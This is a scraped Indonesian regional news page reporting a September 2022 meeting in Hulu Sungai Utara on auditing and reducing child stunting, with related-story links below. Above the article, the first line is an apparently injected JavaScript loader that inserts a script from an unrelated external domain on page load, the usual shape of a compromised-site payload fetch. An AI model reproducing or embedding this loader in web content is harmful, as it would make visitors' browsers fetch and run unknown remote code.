(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Upaya percepatan penurunan stunting, Dinas Pengendalian Penduduk dan Keluarga Berencana (DPPKB) Kabupaten Hulu Sungai Utara bersama Tim Percepatan Penurunan Stunting (TPPS) menggelar diseminasi audit kasus stunting, Selasa (27/9/2022).
Kegiatan dihadiri Kepala DPPKB HSU, Kepala Bappelitbang HSU, Kabid Kesehatan Masyarakat Dinkes HSU, seluruh anggota TPPS HSU serta Ketua Satgas Stunting wilayah HSU dan Hulu Sungai Tengah (HST) Perwakilan BKKBN Provinsi Kalimantan Selatan, dr M Hidayat.
Ketua pelaksana diseminasi H Taberani, berdasarkan pada peraturan Kepala BKKBN Nomor 12 Tahun 2021 tentang rencana aksi nasional percepatan penurunan stunting mengarah kepada pendekatan keluarga beresiko stunting diantaranya mencakup, penyediaan data berisiko stunting, pendampingan keluarga beresiko stunting, pendampingan semua calon pengantin, calon pasangan usia subur, surveilans keluarga beresiko stunting serta audit kasus stunting.
“Audit kasus stunting bertujuan untuk mencari penyebab terjadinya kasus stunting sebagai uapaya pencegahan terjadinya kasus serupa,” ujarnya.
Baca juga : Dirugikan Proyek Renovasi Taman Sanggam, Pedagang Pujasera Curhat ke DPRD Balangan
Sementara saat membuka kegiatan, Kepala DPPKB HSU, Hj Anisah Rasyidah, mengatakan pelaksanaan kegiatan ini sesuai dengan Peraturan Presiden Nomor 72 tahun 2001 tentang percepatan penurunan stunting, ada 5 strategi dalam penurunan stunting, diantaranya yang pertama : peningkatan komitmen dari pemerintah pusat provinsi kabupaten/kota dan pemerintah desa.
Yang kedua, peningkatan komunikasi, perubahan perilaku dan pemberdayaan masyarakat. Ketiga peningkatan konvergensi intervensi spesifik dan intervensi sensitif di kementerian, pemerintahan, lembaga pemerintah provinsi, kabupaten/kota.
Baca juga : Sebuah Toko di Pasar Lima Banjarmasin Ambruk, 4 Orang Selamat
Keempat, yaitu peningkatan ketahanan pangan dan gizi pada tingkat individu keluarga dan masyarakat. Dan kelima penguatan dan pengembangan sistem data informasi serta inovasi.
“Mudah-mudahan kegiatan ini membawa manfaat dan untuk menurunkan angka stunting, dimana Kabupaten Hulu Sungai Utara dalam laporan SSGI tahun 2021 di angka 20,9 persen, menjadi PR kita bersama di tahun 2024 menjadikannya 14 persen,” pungkasnya.
Sekadar informasi, diseminasi adalah suatu kegiatan yang ditujukan kepada kelompok target atau individu agar mereka memperoleh informasi, timbul kesadaran, menerima, dan akhirnya memanfaatkan informasi tersebut.(Kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More
KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More
This website uses cookies.